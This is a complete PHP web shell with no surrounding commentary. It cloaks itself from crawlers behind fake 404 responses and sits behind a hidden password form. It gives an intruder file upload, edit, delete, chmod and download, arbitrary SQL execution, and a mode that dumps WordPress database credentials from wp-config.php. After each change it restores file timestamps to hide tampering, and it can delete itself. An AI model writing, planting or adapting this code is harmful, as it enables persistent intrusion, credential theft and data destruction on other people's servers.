?
<?php
$s_debug = false;
@ob_start();
@ini_set('max_execution_time',0);
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
//define('DS', DIRECTORY_SEPARATOR);
if($s_debug){
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('display_errors','1');
@ini_set('log_errors','1');
}
else{
error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
}
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
if (isset($_GET['mode'])) $mode = $_GET['mode']; else $mode='';
if ($mode=='tfunc')
{
$tfunc = $_GET['tfunc'];
for ($i=0;$i<count($tfunc);$i++)
{
if (function_exists($tfunc[$i])) $result = 'OK'; else $result = 'NOT EXISTS!';
printf('<p>Function <b>%s</b> %s</p>'."\r\n",$tfunc[$i],$result);
}
die();
}
$▛='$2a$07$isisamesollistpirgfareEUmdgQJ1lefebGDMF59BnfZ238YbHT.';
$▘ = '$2a$07$isisamesollistpirgfarsold$';
if (isset($_GET['role'])) $role = $_GET['role'];else $role='';
if ((!$role)||(crypt($role,$▘)!=$▛))
{
$current = htmlspecialchars ($_SERVER ['PHP_SELF']);
echo "<form action = '".$current."' method = 'GET'>\n";
echo "<input name = 'role' value ='$role'>";
echo '<input type = "submit" value = " "></form>';
die();
};
if(isset($_GET['dir']))
@chdir($_GET['dir']);
$dir = @getcwd();
$surl = $_SERVER['REQUEST_URI'];
$qpos = strpos($surl,'?');
if ($qpos) $surl = substr($surl,0,$qpos);
$urldir = str_replace($surl,'',__FILE__);
$urldir = str_replace($urldir,'',$dir);
$urldir = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://".$_SERVER['HTTP_HOST'].$urldir;
$current = htmlspecialchars ($_SERVER ['PHP_SELF'] . "?role=$role&dir=$dir");
if ($mode=='download')
{
$filename = $_GET ['file'];
if(file_exists($filename)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header("Cache-Control: no-cache, must-revalidate");
header("Expires: 0");
header('Content-Disposition: attachment; filename="'.basename($filename).'"');
header('Content-Length: ' . filesize($filename));
header('Pragma: public');
flush();
readfile($filename);
die();
}
else{ echo "ERROR!!! File does not exist!\r\n";
}
}
header('Content-Type: text/html; charset=utf-8');
echo '<html><head><meta charset="UTF-8"><title></title></head><body>';
echo '<script> function ClpbPath(path) ';
echo '{ var dir = "'.$urldir.'";';
echo ' navigator.clipboard.writeText(dir+"/"+path); }';
echo ' </script>';
if ((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) )
{
print "<div style='color:#ff0000'>MAGIC QUOTES ON!</div>" . "<br>\n";
function stripslashes_array($array)
{
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
echo "Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";
echo "Current directory: " . getcwd () . "<br>\n";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre>";
echo "<table width = 60%><tr>";
echo "<td><a href = '".$_SERVER ['PHP_SELF']."?role=$role'>Home</a></td>\n";
echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";
echo "<td><a href = '".$current."&mode=give'>Give file</a></td>\n";
echo "<td><a href = '".$current."&mode=sql'>SQL</a></td>\n";
echo "<td><a href = '".$current."&mode=wpshow'>WPSHOW</a></td>\n";
echo "<td><a href = '".$current."&mode=delself'>Delete self</a></td>\n";
echo "</tr></table><pre>\n</pre>";
function scandir0($dir) {
if(function_exists("scandir")) {
return @scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function delTree($dir)
{
$files = array_diff(scandir0($dir), array('.', '..'));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
switch ($mode){
case 'wpshow':
//print $dir.'/wp-c'.'onf'.'ig.p'.'hp';
include($dir.'/wp-c'.'onf'.'ig.p'.'hp');
print "DB_NAME:".DB_NAME."<br>";
print "DB_USER:".DB_USER."<br>";
print "DB_PASSWORD:".DB_PASSWORD."<br>";
print "DB_HOST:".DB_HOST."<br>";
print "table_prefix:".$table_prefix."<br>";
break;
case 'sql':
$sql_text = $_POST ['sql_text'];
$sql_host = $_POST ['sql_host'];
$sql_database = $_POST ['sql_database'];
$sql_user = $_POST ['sql_user'];
$sql_password = $_POST ['sql_password'];
$sql_exec = $_POST ['sql_exec'];
echo "<form action = '".$current."&mode=sql".$file."' method = 'POST'>\n";
echo "<table><tr><td>Host:</td><td><input name = 'sql_host' value='$sql_host'></td></tr>\n";
echo "<tr><td>Database:</td><td><input name = 'sql_database' value='$sql_database'></td></tr>\n";
echo "<tr><td>User:</td><td><input name = 'sql_user' value='$sql_user'></td></tr>\n";
echo "<tr><td>Password:</td><td><input name = 'sql_password' value='$sql_password'></td></tr>\n";
echo "<tr><td>SQL: </td></tr></table>\n";
echo "<textarea name = 'sql_text' rows = '30' cols = '50'>".htmlspecialchars($sql_text)."</textarea><br>\n";
echo "<input type = 'submit' name='sql_exec' value = 'Exec'></form>\n";
if ((isset($sql_exec))&&($sql_text)) {
$link = mysqli_connect($sql_host, $sql_user, $sql_password, $sql_database);
if ($link) {
mysqli_set_charset($link, "utf8");
$result = mysqli_query($link, $sql_text);
if ($result===false)
{ echo "Error: ".mysqli_error($link);} elseif ($result===true)
{ echo "SQL executed successfully! Affected rows: ".mysqli_affected_rows($link);} else
{
echo "<br><table border='1'>";
$i=0;
$printed_title = false;
while($row = mysqli_fetch_array($result, MYSQLI_ASSOC)){
if (!$printed_title){
$printed_title = true;
foreach($row as $title => $value){
$fields[] = $title;}
$titles = implode('</td><td>',$fields);
echo "<tr><td>№</td><td>$titles</td></tr>"."\r\n";
}
$record = implode('</td><td>',$row);
//var_dump($row);
$i++;
echo "<tr><td>$i</td><td>$record</td></tr>\r\n"; }
echo "</table><br>";
}
} else { echo "Error: ".mysqli_connect_error(); }
}
break;
case 'edit':
$new = $_POST ['new'];
$file = $_GET ['file'];
if (empty ($new)){
$fgc = 'fil'.'e_ge'.'t_cont'.'ents';
$text = $fgc($file);
echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";
echo "File: ". $file . "<br>\n";
echo "<textarea name = 'new' rows = '30' cols = '50'>".htmlspecialchars($text)."</textarea><br>\n";
echo "<input type = 'submit' value = 'Edit'></form>\n";
}
else {
$time = filemtime($file);
$dirtime = filemtime($dir);
if (!$time) $time=$dirtime;
if (file_put_contents($file,$new))
{
echo $file . " edited.<p>";
}
else {
echo "Unable to edit " . $file . ".<p>";
}
touch($file,$time);
touch($dir,$dirtime);
}
break;
case 'delete':
$file = $_GET ['file'];
$dirtime = filemtime($dir);
if (unlink ($file)){
echo $file . " Success!<p>";
}
else {
echo "Error! " . $file . ".<p>";
}
touch($dir,$dirtime);
break;
case 'backup':
$file = $_GET ['file'];
$time = filemtime($file);
$dirtime = filemtime($dir);
if (copy ($file, $file.'.bak')){
echo "<p>Backup created successfully.</p>\n";
}
else {
echo "</p>Unable to backup " . $file . ".</p>\n";
}
touch($file.'.bak',$time);
touch($dir,$dirtime);
break;
case 'copy':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst' value='$src'><br>\n";
echo "<input type = 'submit' value = 'Copy'></form>\n";
}
else {
$time = filemtime($src);
$dirtime = filemtime($dir);
if (copy ($src, $dst)){
echo "File copied successfully.<p>\n";
}
else {
echo "Unable to copy " . $src . ".<p>\n";
}
touch($dst,$time);
touch($dir,$dirtime);
}
break;
case 'rename':
$old = $_GET ['old'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
echo "New name: <input name = 'new' value ='$old'><br>\n";
echo "<input type = 'submit' value = 'Rename'></form>\n";
}
else {
$time = filemtime($old);
$dirtime = filemtime($dir);
if (rename ($old, $new)){
echo "File/Directory renamed successfully.<p>\n";
}
else {
echo "Unable to rename " . $old . ".<p>\n";
}
touch($new,$time);
touch($dir,$dirtime);
}
break;
case 'touch':
$old = $_GET ['old'];
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=touch&old=" . $old . "&file=".$file."' method = 'POST'>\n";
echo "New touch: <input name = 'new' value='$old'><br>\n";
echo "<input type = 'submit' value = 'Touch'></form>\n";
}
else {
if (touch($file, strtotime($new))){
echo "Success!<p>\n";
}
else {
echo "Unable! Error! " . $file . ".<p>\n";
}
}
break;
case 'chmod':
$old = $_GET ['old'];
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=chmod&old=" . $old . "&file=".$file."' method = 'POST'>\n";
echo "New chmod: <input name = 'new' value='$old'><br>\n";
echo "<input type = 'submit' value = 'Chmod'></form>\n";
}
else {
if (chmod($file, intval($new,8))){
echo "Success!<p>\n";
}
else {
echo "Unable! Error! " . $file . ".<p>\n";
}
}
break;
case 'rmdir':
$rm = $_GET ['rm'];
$dirtime = filemtime($dir);
if (delTree($rm)){
//(rmdir ($rm)){
echo "Success!<p>\n";
}
else {
echo "Unable to rmv " . $rm . ".<p>\n";
}
touch($dir,$dirtime);
break;
case 'create':
$new = $_POST ['new'];
$time = filemtime($dir);
$dirtime = filemtime($dir);
if (empty ($new)){
echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";
echo "<tr><td>New file/dir: <input name = 'new'> Dir <input type = 'checkbox' name='crdir'> </td>\n";
echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
}
else {
if ((isset($_POST['crdir']))&&($_POST['crdir']))
{
if (mkdir($new))
{
echo "Dir created successfully.<p>\n";
touch($new,$time);
} else
echo "Unable to create ".$new.".<p>\n";
}
elseif ($fp = fopen ($new, "w")){
echo "File created successfully.<p>\n";
touch($new,$time);
}
else {
echo "Unable to create ".$new.".<p>\n";
}
fclose ($fp);
touch($dir,$dirtime);
}
break;
case 'delself':
if (unlink(__FILE__)) echo "Deleted!<p>";else echo "Error! Unable to delete!<p>";
break;
case 'give':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename($_FILES['upload_file']['name']);
$time = filemtime($dir);
$dirtime = filemtime($dir);
if (empty ($file)){
echo "<form action = '".$current . "&mode=give' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>\n";
echo "<input type = 'submit' value = 'Give'>\n";
echo "</form>\n<pre>\n\n</pre>";
}
else {
if(move_uploaded_file($temp,$file)){
echo "File placed successfully.<p>\n";
unlink ($temp);
touch($file,$time);
}
else {
echo "Unable to give " . $file . ".<p>\n";
}
touch($dir,$dirtime);
}
break;
}
clearstatcache ();
echo "<pre>\n\n</pre><table>\n";
$files = scandir0($dir);
for ($i=0;$i<count($files);$i++) {
$file = $files[$i];
if (!@is_file($file)){
$items = @scandir0($file);
if ($items!==false) $items_num = count ($items) - 2;
$time = date("Y-m-d H:i:s",filemtime($file));
$chmod = substr(sprintf('%o', @fileperms($file)), -4);
if (is_writable($file)) $fcolor='style="color:green"'; else
if (is_readable($file)) $fcolor='style="color:darkkhaki"'; else $fcolor='style="color:red"';
if ($file=='.') $current_dir = $current;
elseif ($file=='..') {
$n = strrpos($current,'/',-1);
$current_dir=substr($current,0,$n);
}
else $current_dir=$current . "/" . $file;
echo "<tr><td width='300px'><a href = '".$current_dir."'>".$file."</a></td>";
echo "<td>".$items_num." Items</td>";
echo "<td><a $fcolor href = '".$current . "&mode=chmod&file=".$file."&old=".urlencode($chmod)."'>".$chmod."</a></td>";
echo "<td><a href = '".$current . "&mode=touch&file=".$file."&old=".urlencode($time)."'>".$time."</a></td>";
echo "<td><a href = '".$current . "&mode=rmdir&rm=".$file."'>Delete</a></td><td><a href = '".$current . "&mode=rename&old=".$file."'>Rename</a></td></tr>\n";
}
}
for ($i=0;$i<count($files);$i++) {
$file = $files[$i];
if (is_file ($file)){
if (is_writable($file)) $fcolor='style="color:green"'; else
if (is_readable($file)) $fcolor='style="color:darkkhaki"'; else $fcolor='style="color:red"';
$size = round (filesize ($file) / 1024, 2);
$time = date("Y-m-d H:i:s",filemtime($file));
$chmod = substr(sprintf('%o', fileperms($file)), -4);
echo "<tr><td width='200px'>".$file."</td>";
echo "<td>".$size." KB</td>";
echo "<td><a $fcolor href = '".$current . "&mode=chmod&file=".$file."&old=".urlencode($chmod)."'>".$chmod."</a></td>";
echo "<td><a href = '".$current . "&mode=touch&file=".$file."&old=".urlencode($time)."'>".$time."</a></td>";
echo "<td><a href = '".$current . "&mode=edit&file=".$file."'>Edit</a></td>";
echo "<td><a href = '".$current . "&mode=rename&old=".$file."'>Rename</a></td>";
echo "<td><a href = '".$current . "&mode=delete&file=".$file."'>Delete</a></td>";
echo "<td><a href = '".$current . "&mode=copy&src=".$file."'>Copy</a></td>";
echo "<td><a href = '".$current . "&mode=download&file=".$file."'>Download</a></td>";
echo "<td><a href = '".$current . "&mode=backup&file=".$file."'>Backup</a></td>";
echo '<td><button onclick="ClpbPath(\''.$file.'\')">C</button></td></tr>'."\n";
}
}
echo "</table>\n";
?>